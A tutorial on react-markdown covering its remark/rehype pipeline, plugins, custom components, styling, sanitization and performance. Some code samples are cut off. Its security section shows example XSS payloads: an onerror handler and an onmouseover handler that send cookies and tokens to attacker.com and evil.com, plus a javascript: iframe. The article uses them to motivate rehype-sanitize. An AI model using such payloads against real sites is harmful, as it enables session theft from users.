Imagine you have a string of Markdown sitting in state, fetched from a CMS or typed into a comment box. You need it rendered as proper HTML inside your React app. The naive approach is to parse it yourself and shove the result into dangerouslySetInnerHTML, but that opens a direct path to cross-site scripting attacks. This is exactly the problem react-markdown solves.
The react-markdown library is a lightweight React component that accepts a raw Markdown string and converts it into a tree of React elements. It never touches innerHTML. Instead, it builds a syntax tree internally and outputs virtual DOM nodes through standard createElement calls. The result is safe by default, fully composable, and compatible with the rest of your component architecture.
Built on top of the unified ecosystem (remark for Markdown parsing, rehype for HTML transformation), the reactmarkdown component follows CommonMark standards out of the box and supports GitHub Flavored Markdown through a single plugin. TypeScript definitions ship with the package, so you get autocompletion and type safety without extra installs.
The core value proposition is declarative rendering without security tradeoffs. You pass a Markdown string as children, and the component handles tokenization, tree transformation, and element creation. No HTML string ever gets injected into the DOM. Every heading, paragraph, link, and code block becomes a real React element that participates in reconciliation, event handling, and the component lifecycle just like anything else you render.
This matters because alternatives like marked or showdown produce HTML strings. Using those in React means either accepting the XSS risk of dangerouslySetInnerHTML or bolting on a separate sanitization layer. With react-markdown, sanitization is structural rather than string-based, which eliminates entire categories of vulnerabilities.
Not every project needs runtime Markdown rendering. If your content is static and known at build time, pre-rendering to HTML during compilation is faster and simpler. But several scenarios make a client-side or server-side renderer the right architectural choice:
• CMS-driven content - When editors write in Markdown and your React frontend fetches that content via API, you need to render it dynamically.
• Documentation sites - Technical docs stored as .md files that get rendered with custom components for navigation, code highlighting, and interactive examples.
• Comment systems and forums - User-generated content where people expect basic formatting like bold, links, and code blocks.
• README previews - Developer tools that display repository documentation inline within a React JS markdown interface.
• Chat applications - Real-time messaging where users format text with Markdown syntax and expect instant visual feedback.
In each of these cases, the content arrives as a string at runtime, and you need a component that can safely transform it into rendered output without sacrificing control over styling or behavior.
This article covers the full lifecycle of working with markdown in React, from installation and plugin configuration through custom components, security hardening, and production deployment patterns. The goal is to give you the mental model that most tutorials skip: understanding the complete transformation pipeline so you know exactly where to intervene when something breaks or needs customization.
Most tutorials show you how to install the library and render a string. Very few explain what actually happens between passing that string in and seeing elements on screen. Without this mental model, every debugging session becomes guesswork, and extending your setup feels like trial and error.
The transformation is not a single step. It is a multi-stage pipeline built on the unified ecosystem, where each stage operates on a different data structure and accepts its own category of plugins. When you understand these stages, you know exactly where to intervene for any customization.
The pipeline begins with remark-parse, which takes your raw Markdown string and tokenizes it into an mdast (Markdown Abstract Syntax Tree). Think of mdast as a structured JSON representation of your content. A heading becomes a node with a type of "heading" and a depth property. A paragraph becomes a node of type "paragraph" with child text nodes. Every piece of Markdown syntax maps to a predictable tree structure.
By default, remark parse follows the CommonMark specification. This means standard elements like headings, links, emphasis, code blocks, and blockquotes work out of the box. But features you might take for granted, like tables, strikethrough, task lists, and autolink literals, are not part of CommonMark. They belong to GitHub Flavored Markdown (GFM), and they require the remark-gfm plugin to be recognized during parsing.
This is a common source of confusion. You write a table in your Markdown string, pass it to the component, and nothing renders. The syntax silently falls through because the parser does not recognize it without remark gfm explicitly added to the plugin chain. The parser is not broken; it is following spec.
Remark plugins operate at this stage, transforming the mdast before it moves downstream. They can add nodes, remove nodes, restructure content, or attach metadata. For example, a plugin might convert all headings into linkable anchors, or strip frontmatter into a separate data object. The key point: remark plugins work on content structure, not HTML output.
Once remark plugins finish their work, the mdast passes through remark-rehype, which converts it into a hast (HTML Abstract Syntax Tree). Where mdast nodes represent Markdown concepts like "heading" and "emphasis," hast nodes represent HTML elements like h1 and em. This is the bridge between the two worlds.
Rehype plugins operate on the hast. They can modify HTML attributes, wrap elements in containers, inject new elements, or sanitize dangerous content. A plugin like rehype-highlight walks the tree looking for code blocks and applies syntax highlighting classes. A plugin like rehype-raw allows raw HTML embedded in your Markdown to pass through into the final output.
The final stage is where react-markdown diverges from a standard unified pipeline. Instead of serializing the hast into an HTML string (which is what rehype-stringify does), the library converts each hast node into a React.createElement call. This is where the components prop hooks in. When the converter encounters an h1 node in the hast, it checks whether you have provided a custom component for h1. If you have, it calls your component. If not, it renders the default HTML element.
Understanding the pipeline means you know exactly where to intervene — remark plugins transform content structure, rehype plugins transform HTML output, and custom components control final rendering.
This three-layer architecture is what separates react-markdown from simpler renderers. When you compare react markdown vs remark as standalone tools, the distinction becomes clear: remark handles parsing and content transformation, while react-markdown wraps the entire unified pipeline into a single React component that outputs virtual DOM nodes instead of HTML strings.
| Pipeline Stage | Operates On | Data Structure | Example Plugins |
|---|---|---|---|
| Parsing | Raw Markdown string | mdast (Markdown AST) | remark-parse |
| Remark transforms | Content structure | mdast | remark-gfm, remark-math, remark-frontmatter |
| Bridge | mdast to hast conversion | hast (HTML AST) | remark-rehype |
| Rehype transforms | HTML structure and attributes | hast | rehype-raw, rehype-sanitize, rehype-highlight |
| Rendering | hast nodes to React elements | Virtual DOM | components prop (custom component map) |
Each row in this pipeline is an extension point. When something does not render the way you expect, trace the problem to the correct stage. Missing syntax support? You need a remark plugin. Wrong HTML attributes? That is a rehype plugin. Need a different visual output for a specific element? Override it with a custom component. The pipeline gives you precision instead of guesswork.
Knowing how the pipeline works gives you a map. Actually getting the library running in your project is where most developers hit their first unexpected errors. Tutorials tend to show a three-line snippet and move on, leaving you to figure out bundler issues, TypeScript quirks, and runtime failures on your own. This section covers the full setup path, from npm install react markdown through a production-ready component that handles real-world edge cases.
The package lives on npm under the name react-markdown. Install it alongside your React project:
npm install react-markdown
If you prefer yarn or pnpm:
yarn add react-markdown
# or
pnpm add react-markdown
TypeScript definitions ship with the package, so there is no separate @types install required. Once the react markdown npm package is in your node_modules, importing and rendering is straightforward:
import ReactMarkdown from 'react-markdown';
interface MarkdownViewerProps {
content: string;
}
export function MarkdownViewer({ content }: MarkdownViewerProps) {
return <ReactMarkdown>{content}</ReactMarkdown>;
}
The component accepts your Markdown string as children. Every heading, paragraph, and link in that string becomes a React element in the output. No dangerouslySetInnerHTML, no manual parsing, no separate sanitization step for basic usage.
This minimal setup works perfectly in tutorials. Production apps, however, run into a specific bundler error that trips up developers regularly.
You install the package, import it, start your dev server, and the browser console throws: Uncaught ReferenceError: process is not defined. This is one of the most common issues developers encounter when adding npm react markdown to a project bundled with Vite or similar modern tools.
The root cause is straightforward: process is a Node.js global that does not exist in browser environments. Some dependencies in the react-markdown chain reference process.env for feature detection. Webpack historically shimmed this automatically, but Vite and other ESM-first bundlers do not.
If you are using Vite, the fix is a one-line addition to your vite.config.ts:
import { defineConfig } from 'vite';
import react from '@vitejs/plugin-react';
export default defineConfig({
plugins: [react()],
define: {
'process.env': {},
},
});
For Webpack 5 projects that have removed the automatic Node.js polyfills, add a similar shim in your configuration:
// webpack.config.js
const webpack = require('webpack');
module.exports = {
plugins: [
new webpack.DefinePlugin({
'process.env': JSON.stringify({}),
}),
],
};
The reactjs process is not defined error is not specific to react-markdown. It surfaces with many packages that were originally written for Node.js environments. The pattern above resolves it universally by providing an empty object where process.env is referenced, so the code does not throw at runtime. If you are on a framework like Next.js, this is handled for you since the framework manages both server and client bundling internally.
The minimal example above assumes your content is always a valid, non-empty string. In production, that assumption breaks constantly. Content arrives from APIs that might return null. Users submit empty forms. CMS fields get saved without values. Malformed Markdown with unclosed syntax does not crash the parser, but it produces unexpected output that confuses users.
Here is what actually happens with problematic inputs:
• Empty string - The component renders nothing. No error, no crash, but no visual feedback either.
• Null or undefined - React throws a type error because the component expects a string child.
• Malformed Markdown - The parser is forgiving. Unclosed emphasis or broken links render as plain text rather than throwing exceptions.
• Extremely large content - The component blocks the main thread during parsing, causing visible jank.
A production component needs to handle all of these gracefully. Here is an enhanced version with proper loading states, null checks, and error boundary integration:
import React, { Component, type ReactNode } from 'react';
import ReactMarkdown from 'react-markdown';
// Error boundary to catch plugin or rendering failures
class MarkdownErrorBoundary extends Component<
{ children: ReactNode; fallback?: ReactNode },
{ hasError: boolean }
> {
state = { hasError: false };
static getDerivedStateFromError() {
return { hasError: true };
}
render() {
if (this.state.hasError) {
return this.props.fallback ?? <p>Failed to render content.</p>;
}
return this.props.children;
}
}
interface SafeMarkdownProps {
content: string | null | undefined;
isLoading?: boolean;
className?: string;
}
export function SafeMarkdown({ content, isLoading, className }: SafeMarkdownProps) {
if (isLoading) {
return <div className={className} aria-busy="true">Loading content...</div>;
}
if (!content) {
return null;
}
return (
<MarkdownErrorBoundary>
<div className={className}>
<ReactMarkdown>{content}</ReactMarkdown>
</div>
</MarkdownErrorBoundary>
);
}
The error boundary catches failures that occur during rendering, which can happen when a misconfigured plugin throws on unexpected input. The null check prevents type errors from propagating. The loading state gives users visual feedback while content is being fetched.
Notice the difference between this and the three-line tutorial version. The minimal setup is fine for prototyping and learning. The enhanced version belongs in any app where content comes from an external source, because external sources are inherently unpredictable. When you encounter the react process is not defined error or a blank screen from null content, these patterns ensure your app degrades gracefully instead of crashing.
With installation sorted and edge cases handled, the next question becomes: how do you extend the default behavior? The component renders CommonMark out of the box, but tables, task lists, syntax highlighting, and math notation all require plugins that hook into the pipeline stages covered earlier.
Plugins are not optional extras bolted onto the side of react-markdown. They are the primary extension mechanism, the way you unlock every feature beyond basic CommonMark rendering. Without them, tables do not render, code blocks have no syntax colors, and math notation stays as raw LaTeX text. The pipeline stages covered earlier each accept their own category of plugins, and knowing which plugin belongs where is the difference between a working setup and a frustrating afternoon of silent failures.
The single most important plugin you will install is remark-gfm. If you have ever written a Markdown table using pipes, added a - [x] task list, used ~~strikethrough~~, or expected a bare URL like www.example.com to become a clickable link, you were writing GitHub Flavored Markdown. None of that syntax is part of the CommonMark spec, which means the parser ignores it entirely unless you explicitly add remarkgfm to your plugin chain.
The failure mode is subtle. You do not get an error. Your table syntax just renders as plain text with pipe characters visible on screen. Your strikethrough shows tildes instead of crossed-out words. This trips up developers constantly because they assume GFM support is built in. It is not.
Installation and usage follow a consistent pattern:
npm install remark-gfm
import ReactMarkdown from 'react-markdown';
import remarkGfm from 'remark-gfm';
const markdown = `
| Feature | Supported |
| ------- | --------- |
| Tables | Yes |
| ~~Strikethrough~~ | Yes |
| - [x] Task lists | Yes |
`;
<ReactMarkdown remarkPlugins={[remarkGfm]}>
{markdown}
</ReactMarkdown>
With remark gfm react markdown gains support for tables, strikethrough, task lists, autolinks, and footnotes. You can also pass options to control behavior, like restricting strikethrough to double tildes only:
<ReactMarkdown remarkPlugins={[[remarkGfm, { singleTilde: false }]]}>
{content}
For technical and scientific content, remark-math handles LaTeX equation parsing. It recognizes inline math wrapped in single dollar signs ($E = mc^2$) and display math wrapped in double dollar signs. The plugin does not render the equations itself; it marks them in the syntax tree so a downstream rehype plugin can handle visual output. Think of it as the parser half of a two-plugin pair.
Where remark plugins shape content structure, rehype plugins control what the final HTML looks like. Three plugins cover the most common production needs.
rehype-raw enables HTML passthrough. By default, react-markdown strips or escapes any raw HTML embedded in your Markdown string. If your content includes <div class="callout"> blocks or inline <span> elements, you need rehype-raw to let them through to the rendered output. The tradeoff is security: enabling raw HTML means you must also sanitize it, which is covered in a later section.
import rehypeRaw from 'rehype-raw';
<ReactMarkdown rehypePlugins={[rehypeRaw]}>
{markdownWithHtml}
</ReactMarkdown>
rehype-katex is the rendering counterpart to remark-math. It takes the math nodes identified during parsing and converts them into KaTeX-rendered output. You need to import the KaTeX CSS separately for proper styling:
import remarkMath from 'remark-math';
import rehypeKatex from 'rehype-katex';
import 'katex/dist/katex.min.css';
<ReactMarkdown
remarkPlugins={[remarkMath]}
rehypePlugins={[rehypeKatex]}
>
{content}
</ReactMarkdown>
rehype-highlight applies syntax highlighting to fenced code blocks. When you write code using triple backticks with a language identifier like js or tsx, the plugin detects the language and adds highlighting classes to the generated code block. A typical rehype highlight react markdown setup looks like this:
import rehypeHighlight from 'rehype-highlight';
import 'highlight.js/styles/github.css';
{content}
Version compatibility matters because many unified ecosystem packages are now ESM-only. Newer versions of remark-gfm, rehype-raw, rehype-katex, and rehype-highlight work best with modern react-markdown releases and bundlers that understand ESM imports. Older CommonJS projects may need dynamic imports, version pinning, or bundler configuration before the plugin chain builds correctly.
| Plugin | Purpose | Pipeline Stage | Notes |
|---|---|---|---|
| remark-gfm | Tables, task lists, strikethrough, autolinks, footnotes | Remark | Required for GitHub Flavored Markdown features |
| remark-math | Parse inline and block LaTeX math | Remark | Pair with rehype-katex for visual rendering |
| rehype-raw | Allow raw HTML passthrough | Rehype | Use only with sanitization for untrusted content |
| rehype-katex | Render math nodes as KaTeX output | Rehype | Requires KaTeX CSS import |
| rehype-highlight | Add syntax highlighting to fenced code blocks | Rehype | Import a highlight.js stylesheet for visible colors |
Critical compatibility note: newer remark and rehype packages are often ESM-only, so CommonJS builds may fail unless you use compatible package versions, dynamic imports, or a bundler configuration that supports ESM dependencies.
The safest way to debug plugin behavior is to identify which pipeline stage owns the feature. If Markdown syntax is not recognized, add or configure a remark plugin. If the HTML output exists but looks wrong, inspect rehype plugins and component overrides. For rehype highlight react markdown setups specifically, confirm that both the plugin and its CSS theme are loaded.
Plugins shape what gets parsed and how the HTML tree is structured. But the final rendering step, where hast nodes become visible elements on screen, is entirely yours to control. The components prop is where you map every Markdown element to a custom React component, giving you full authority over behavior, accessibility, and visual design without ever touching the parsing layer.
The components prop accepts an object where keys are HTML element names and values are React components that replace the defaults. When the renderer encounters an h2 node, it checks your map. If you provided a custom h2, your component receives the node's children and props. If not, it renders a plain <h2>.
This pattern lets you solve common problems declaratively. Want links to open in new tabs? Override the a component. Need lazy-loaded images? Override img. Want a copy button on every code block? Override code or pre. You are not fighting the library; you are working with its designed extension point.
The library exports a Components type that provides full TypeScript safety for every element override. If you have ever hit the cannot find namespace 'jsx' error when writing custom renderers, it typically means your tsconfig.json is missing "jsx": "react-jsx" or your project lacks the correct JSX type definitions. Once that is resolved, your editor autocompletes every prop the node provides.
Here is a typed custom components object that handles the most common overrides:
import { isValidElement, type ReactNode } from 'react';
import type { Components } from 'react-markdown';
import { Prism as SyntaxHighlighter } from 'react-syntax-highlighter';
import { oneDark } from 'react-syntax-highlighter/dist/esm/styles/prism';
function getTextContent(node: ReactNode): string {
if (typeof node === 'string' || typeof node === 'number') {
return String(node);
}
if (Array.isArray(node)) {
return node.map(getTextContent).join('');
}
if (isValidElement<{ children?: ReactNode }>(node)) {
return getTextContent(node.props.children);
}
return '';
}
function slugify(children: ReactNode): string {
return getTextContent(children)
.toLowerCase()
.trim()
.replace(/\s+/g, '-')
.replace(/[^\w-]/g, '');
}
const components: Components = {
h2: ({ node: _node, children, ...props }) => {
const id = slugify(children);
return (
<h2 id={id || undefined} {...props}>
{id ? (
<a href = {`#${id}`} className="anchor-link" aria-label={`Link to ${id}`}>
#
</a>
) : null}
{children}
</h2>
);
},
a: ({ node: _node, href, children, ...props }) => {
const isExternal = /^https?:\/\//.test(href ?? '');
return (
<a
{...props}
href = {href}
target={isExternal ? '_blank' : undefined}
rel={isExternal ? 'noopener noreferrer' : undefined}
>
{children}
</a>
);
},
img: ({ node: _node, src, alt, ...props }) => (
<img
{...props}
src={src}
alt={alt || ''}
loading="lazy"
decoding="async"
/>
),
code: ({ node: _node, className, children, ...props }) => {
const match = /language-(\w+)/.exec(className || '');
if (match) {
return (
<SyntaxHighlighter
PreTag="div"
language={match[1]}
style={oneDark}
>
{String(children).replace(/\n$/, '')}
</SyntaxHighlighter>
);
}
return (
<code className={className} {...props}>
{children}
</code>
);
},
table: ({ node: _node, children, ...props }) => (
<div style={{ overflowX: 'auto' }}>
<table {...props}>{children}</table>
</div>
),
};
The heading override generates a slug from the text content and renders a markdown anchor link beside it, giving readers clickable section navigation. The link component detects external URLs and adds target="_blank" with proper rel attributes for security. The image component adds native lazy loading. The table wrapper prevents horizontal overflow on mobile screens.
Each of these markdown anchors follows the same pattern: receive props from the pipeline, enhance them, and return JSX. You are writing normal React components with the full power of hooks, context, and state available to you.
The most searched question around react-markdown tailwind integration is deceptively simple: how do you apply utility classes to elements you do not directly write? You are not authoring JSX for every paragraph and heading. The Markdown string produces them, and you need a styling strategy that works with generated output.
The fastest path is @tailwindcss/typography. Install it, wrap your rendered output in an element with the prose class, and you get sensible typographic defaults for every element the renderer produces:
import ReactMarkdown from 'react-markdown';
export function Article({ content }: { content: string }) {
return (
<article className="prose prose-lg dark:prose-invert max-w-none">
<ReactMarkdown>{content}</ReactMarkdown>
</article>
);
}
The prose class handles font sizes, spacing, list styles, blockquote formatting, and link colors. The dark:prose-invert variant flips colors for dark mode. This approach works well for blog posts and documentation where you want consistent typography without overriding every element individually.
When the typography plugin's defaults conflict with your design system, or when you need element-level control, combine Tailwind classes with custom components:
const tailwindComponents: Components = {
h1: ({ children, ...props }) => (
<h1 className="text-4xl font-bold tracking-tight text-gray-900 dark:text-white mt-8 mb-4" {...props}>
{children}
</h1>
),
p: ({ children, ...props }) => (
<p className="text-base leading-7 text-gray-700 dark:text-gray-300 mb-4" {...props}>
{children}
</p>
),
blockquote: ({ children, ...props }) => (
<blockquote className="border-l-4 border-blue-500 pl-4 italic text-gray-600" {...props}>
{children}
</blockquote>
),
};
This gives you per-element precision while keeping styles colocated with the component logic. If you are working on a project where Tailwind is not available, CSS Modules offer the same scoping benefits. Create a markdown.module.css file, define classes for each element, and apply them through the custom components map using the imported styles object.
One practical note: if you are using TypeScript with a custom JSX transform and encounter the cannot find namespace 'jsx' error in your component files, ensure your tsconfig.json includes "jsx": "react-jsx" and "moduleResolution": "bundler" (or "node16"). This resolves the type resolution issue that surfaces when the compiler cannot locate JSX type definitions from the newer transform.
The combination of the components prop with Tailwind's utility-first approach means you can match any design system without forking the library or writing post-processing CSS hacks. Every markdown anchor link, every code block, every table cell renders exactly the way your design requires, and TypeScript catches mismatches before they reach production.
Styling and component overrides give you control over how content looks. But when that content comes from users rather than your own team, appearance is secondary to a harder question: what happens when someone embeds a script tag inside their Markdown?
The previous section showed how custom components let you control rendering for links that open in new tabs, images with lazy loading, and styled code blocks. That level of control assumes you trust the Markdown content. When the content comes from users, a comment form, a forum post, or any input you do not author yourself, the threat model changes entirely. A single unsanitized HTML tag can execute arbitrary JavaScript in your visitors' browsers.
React-markdown is safe by default because it escapes raw HTML embedded in Markdown strings. But the moment you add rehype-raw to support HTML passthrough, that safety guarantee disappears. Understanding exactly how this vulnerability works, and how to close it, is non-negotiable for any app rendering user-supplied content.
Without rehype-raw, embedded HTML in a Markdown string renders as plain text. A user who types <script>alert('xss')</script> sees those characters printed on screen, harmless. The parser treats them as text nodes, not executable elements.
The problem starts when your application needs legitimate HTML in Markdown. Maybe your content team uses <details> elements for collapsible sections, or you want to support markdown colored text through inline <span style="color: red"> tags. You add rehype raw to the plugin chain, and suddenly the parser stops escaping HTML. Every tag passes through to the rendered output, including dangerous ones.
Here is what a concrete attack looks like. Imagine a user submits this as a comment:
## Helpful Tips
Here is some advice for your project.
<img src="x" onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">
<iframe src="javascript:alert(document.domain)"></iframe>
<div onmouseover="fetch('https://evil.com/log?data='+localStorage.getItem('token'))">
Hover for more info
</div>
With rehype-raw enabled and no sanitization, every one of these elements renders as real HTML. The image tag fires its onerror handler immediately because the src is invalid. The iframe executes JavaScript through the javascript: protocol. The div exfiltrates tokens when a user hovers over it. None of this requires the <script> tag, which is why naive filters that only block script elements miss the majority of XSS vectors.
The threat model is straightforward: any HTML attribute that accepts a URL or an event handler is an injection point. That includes onerror, onload, onmouseover, onfocus, href="javascript:...", and dozens of other combinations. If you want to support features like markdown change text color through inline styles, you need a sanitizer that allows style attributes while stripping dangerous properties like expression() or url() values.
The rehype-sanitize plugin solves this by operating on the hast (HTML AST) and dropping anything not explicitly allowed by a schema. It defaults to GitHub's sanitization rules, which are battle-tested against real-world attack patterns.
Never use rehype-raw without rehype-sanitize when rendering user-supplied content.
The basic setup pairs both plugins together, with sanitize placed after raw in the plugin chain:
import ReactMarkdown from 'react-markdown'; import rehypeRaw from 'rehype-raw'; import rehypeSanitize from 'rehype-sanitize';
<ReactMarkdown rehypePlugins={[rehypeRaw, rehypeSanitize]}> {userContent}
With the default schema, the malicious comment from earlier renders as:
<h2>Helpful Tips</h2>
<p>Here is some advice for your project.</p>
<img src="x">
<div>
Hover for more info
</div>
The onerror attribute is gone. The iframe is removed entirely. The onmouseover handler is stripped. The javascript: URL never reaches the DOM. The sanitizer operates on the tree structure, not string matching, so it cannot be bypassed with encoding tricks or case variations.
The default schema is restrictive by design. If your application needs to allow specific elements or attributes, you extend the schema rather than disabling sanitization. For example, to allow style attributes on span elements (enabling markdown colored text through inline styles) while keeping everything else locked down:
import rehypeSanitize, { defaultSchema } from 'rehype-sanitize';
const customSchema = {
...defaultSchema,
attributes: {
...defaultSchema.attributes,
span: [...(defaultSchema.attributes?.span || []), 'style'],
},
tagNames: [...(defaultSchema.tagNames || []), 'span'],
};
<ReactMarkdown rehypePlugins={[rehypeRaw, [rehypeSanitize, customSchema]]}>
{userContent}
</ReactMarkdown>
Be deliberate about what you allow. Every attribute you add to the allowlist is a potential attack surface. Allowing style broadly can enable CSS-based attacks like overlaying invisible elements or exfiltrating data through background-image URLs.
Controlling how links behave is a common requirement that intersects with security. You might want external links to open in new tabs for UX reasons, which is the classic markdown open link in new tab pattern. But you also need to prevent javascript: and data: protocol URLs from executing code.
The sanitize schema handles protocol validation through the protocols property:
const linkSafeSchema = {
...defaultSchema,
protocols: {
...defaultSchema.protocols,
href: ['http', 'https', 'mailto'], // Only allow safe protocols
},
};
This strips any href value that does not start with http:, https:, or mailto:. A link like <a href="javascript:alert(1)">click</a> loses its href entirely, rendering as plain text. For the react open link in new tab behavior, combine this schema with the custom a component from the previous section, which adds target="_blank" and rel="noopener noreferrer" to external URLs.
Before shipping any component that renders user-supplied Markdown, verify these protections are in place:
• Strip script tags - Both <script> elements and javascript: protocol URLs must be removed.
• Remove event handler attributes - Every on* attribute (onerror, onload, onmouseover, onfocus, etc.) must be stripped from all elements.
• Validate URL protocols - Only allow http, https, and mailto in href and src attributes. Block javascript:, data:, and vbscript:.
• Restrict iframe sources - Either remove iframes entirely (the default) or allowlist specific trusted domains if embedding is required.
• Sanitize style attributes - If you allow inline styles for features like markdown change text color, validate that values do not contain expression(), url(), or other executable CSS patterns.
Plugin ordering matters. The rehype-sanitize documentation emphasizes that the plugin should run after the last unsafe transformation in your chain. If you add rehype-raw and then a custom plugin that injects HTML, sanitize must come after both. Everything downstream of the sanitizer is assumed safe, so nothing unsafe should follow it.
For applications that need an additional defense layer beyond tree-based sanitization, a Content Security Policy (CSP) header provides browser-level protection. Even if a sanitization bypass exists, a strict CSP can prevent injected scripts from executing. The two approaches complement each other: sanitization removes the attack payload from the DOM, while CSP prevents execution if something slips through.
Security handled, the next decision is architectural. React-markdown is not the only library that renders Markdown in React applications, and choosing the wrong tool for your constraints, whether that is bundle size, compile-time rendering, or plugin ecosystem, creates problems that no amount of configuration can fix.
You know how to configure plugins, override components, and sanitize output. But all of that assumes react-markdown is the right tool for your project. It often is, but not always. The ecosystem offers several ways to react render markdown, and each makes fundamentally different architectural tradeoffs. Picking the wrong one means fighting constraints that no amount of configuration can resolve.
These three libraries represent distinct philosophies for rendering Markdown inside React applications. They share a goal but differ in when and how they transform content.
react-markdown is a runtime react markdown renderer built on the unified pipeline. It parses Markdown strings at render time, converts them through the remark-rehype chain, and outputs React elements. Its strength is the plugin ecosystem: you can extend parsing, transform HTML structure, and override rendering at every stage. Security is structural because it never uses innerHTML. The tradeoff is bundle size, since the full unified pipeline adds weight, and runtime parsing cost for large documents.
markdown-to-jsx takes a lighter approach. It compiles Markdown directly into JSX without an intermediate HTML AST, resulting in a significantly smaller bundle (roughly 5KB gzipped versus 30KB+ for react-markdown with plugins). It supports custom component overrides similar to the components prop, and it handles most CommonMark syntax well. The limitation is extensibility. There is no equivalent to the remark-rehype plugin chain, so advanced transformations like math rendering or custom syntax extensions require workarounds or are not possible at all.
When evaluating markdown to jsx vs react markdown, the decision often comes down to whether you need plugins. If your content is straightforward Markdown without tables, math, or custom syntax, markdown-to-jsx delivers the same visual result with less JavaScript shipped to the client. If you need GFM tables, syntax highlighting, or sanitization through the plugin chain, react-markdown is the more capable choice.
MDX operates at a completely different layer. It is a compile-time format that lets you embed React components directly inside Markdown files. Instead of rendering Markdown strings at runtime, MDX files are compiled into React components during your build step. You can import components, use props, and write JSX inline alongside Markdown syntax. The tradeoff is setup complexity: MDX requires a compiler (via @mdx-js/react or framework integrations like @next/mdx), and content authors need familiarity with JSX syntax. MDX excels for documentation sites and interactive tutorials where content and components are tightly coupled. It is not suited for rendering arbitrary Markdown strings from a CMS or user input at runtime.
Not every markdown renderer javascript developers reach for is React-specific. Libraries like marked, markdown-it, and showdown parse Markdown into HTML strings. They are fast, well-tested, and framework-agnostic. The catch? Using their output in React means either dangerouslySetInnerHTML or a separate sanitization step, because they produce raw HTML rather than React elements.
Download data from npm shows markdown-it at roughly 21 million weekly downloads (inflated by VS Code's transitive dependency), marked at around 12 million, and remark at approximately 8 million. These numbers reflect broad usage across all JavaScript environments, not just React apps.
marked is the fastest option for simple HTML conversion. It is pure JavaScript, roughly 50KB before minification, and runs in any V8 environment including edge runtimes. Its plugin ecosystem is small, but if you need raw speed for real-time previews or comment rendering, it delivers.
markdown-it hits the middle ground between speed and extensibility. It powers VS Code's Markdown preview and has a large plugin ecosystem covering anchors, table of contents generation, math, and syntax highlighting. Its token-level customization gives you more control than marked without the full AST overhead of remark.
showdown is the oldest of the group and sees less active development. It converts Markdown to HTML with configurable extensions, but its plugin ecosystem and community momentum have fallen behind marked and markdown-it.
For reactjs markdown rendering specifically, these string-output libraries create an architectural mismatch. You lose the component-level control that makes React powerful. Every element becomes an opaque HTML string rather than a composable React node. If you are building a markdown reactjs application where you need custom components, event handlers, or integration with React state, the string-based approach forces you into workarounds that the React-native libraries handle by design.
| Library | Bundle Size | Plugin Ecosystem | TypeScript | SSR Compatible | Security Model | Ideal Use Case |
|---|---|---|---|---|---|---|
| react-markdown | Medium (~30KB+ with plugins) | Large (unified ecosystem) | Built-in types | Yes | Safe by default, no innerHTML | CMS content, comments, dynamic rendering |
| markdown-to-jsx | Small (~5KB gzipped) | None (custom overrides only) | Built-in types | Yes | Safe by default, no innerHTML | Bundle-sensitive apps, simple content |
| MDX | Zero runtime (compiled) | Large (remark/rehype) | Built-in types | Yes | Compile-time, trusted content only | Documentation sites, interactive tutorials |
| marked | Small (~50KB pre-minify) | Small | Built-in types | Yes | No sanitization, requires DOMPurify | Fast previews, edge rendering, minimal deps |
| markdown-it | Medium | Large | Built-in types | Yes | No sanitization, requires DOMPurify | CMS editors, VS Code-style previews |
| showdown | Medium | Small (declining) | Community types | Yes | No sanitization, requires external | Legacy projects, simple conversion |
For most React applications that need to render Markdown at runtime, react-markdown remains the balanced choice. It gives you safety without configuration, extensibility through plugins, and component-level control through the override API. Choose markdown-to-jsx when bundle size is your primary constraint and you do not need the plugin chain. Choose MDX when your content lives in your repository and benefits from embedded components at compile time. Choose marked or markdown-it when you are outside React entirely or need the absolute fastest string conversion with your own sanitization layer.
The right library decision removes friction from everything that follows. With the architectural choice settled, the remaining challenge is making your chosen renderer perform well under production load, where large documents, complex tables, and server-side rendering introduce constraints that basic usage never reveals.
Choosing the right library is only half the equation. A well-configured react-markdown setup can still grind to a halt when it encounters a 5,000-line changelog, a dense react markdown table with 200 rows, or a documentation page that re-renders on every keystroke. Production apps face constraints that tutorial-sized examples never expose: parsing overhead on the main thread, DOM bloat from deeply nested content, and bundle inflation from a full plugin chain that ships to every visitor regardless of whether they need syntax highlighting or math rendering.
These problems are solvable, but only if you know where the bottlenecks actually live. The pipeline stages from earlier sections map directly to performance hotspots: parsing costs scale with content length, rehype transforms add processing time per node, and the final rendering step generates real DOM elements that the browser must paint and composite. Each stage has its own optimization strategy.
The simplest and highest-impact optimization is preventing unnecessary work. Every time a parent component re-renders, its children re-render too, even if the Markdown content has not changed by a single character. For a blog post or documentation page where the content is stable, this means the entire remark-rehype pipeline runs again for no reason.
React.memo solves this with a shallow comparison. Wrap the rendering component so it only re-processes when the content prop actually changes:
import React, { memo } from 'react'; import ReactMarkdown from 'react-markdown'; import remarkGfm from 'remark-gfm';
const MemoizedMarkdown = memo(function MemoizedMarkdown({
content,
}: {
content: string;
}) {
return (
export default MemoizedMarkdown;
This single change eliminates redundant parsing and tree transformation whenever the surrounding UI updates, like a sidebar toggle, a theme switch, or unrelated state changes. For pages displaying static content fetched once from an API, the rendering cost drops to effectively zero after the initial paint.
Memoization handles stable content. But what about genuinely large documents that are expensive even on the first render? Two techniques address this: chunking and virtualization.
Splitting a large Markdown string into smaller sections and rendering them incrementally keeps the main thread responsive. Instead of parsing the entire document at once, you break it into logical chunks, typically by splitting on heading boundaries or double line breaks (a markdown line break between paragraphs serves as a natural split point), and render them progressively as the user scrolls:
import React, { useState, useCallback } from 'react'; import ReactMarkdown from 'react-markdown';
function ChunkedMarkdown({ content }: { content: string }) { // Split on double newlines to preserve paragraph boundaries const chunks = content.split(/\n\n(?=#{1,6}\s)/).filter(Boolean); const [loaded, setLoaded] = useState(1);
const loadMore = useCallback(() => { setLoaded((prev) => Math.min(prev + 3, chunks.length)); }, [chunks.length]);
return (
The regex splits on double newlines followed by a heading marker, preserving the document's semantic structure. Each chunk is a self-contained section. The initial render handles only the first section, and the user loads additional content on demand. This pattern is especially effective for long-form documentation or changelogs where readers rarely scroll to the bottom.
When documents reach thousands of lines, like API reference pages or data dictionaries, even chunking is not enough. The DOM itself becomes the bottleneck. Each rendered line produces elements that the browser must lay out, paint, and keep in memory. Virtualization addresses this by only rendering the lines currently visible in the viewport, using a library like react-window:
import React from 'react';
import ReactMarkdown from 'react-markdown'; import { FixedSizeList as List } from 'react-window';
function VirtualizedMarkdown({ content }: { content: string }) { const lines = content.split('\n');
const Row = ({ index, style }: { index: number; style: React.CSSProperties }) => (
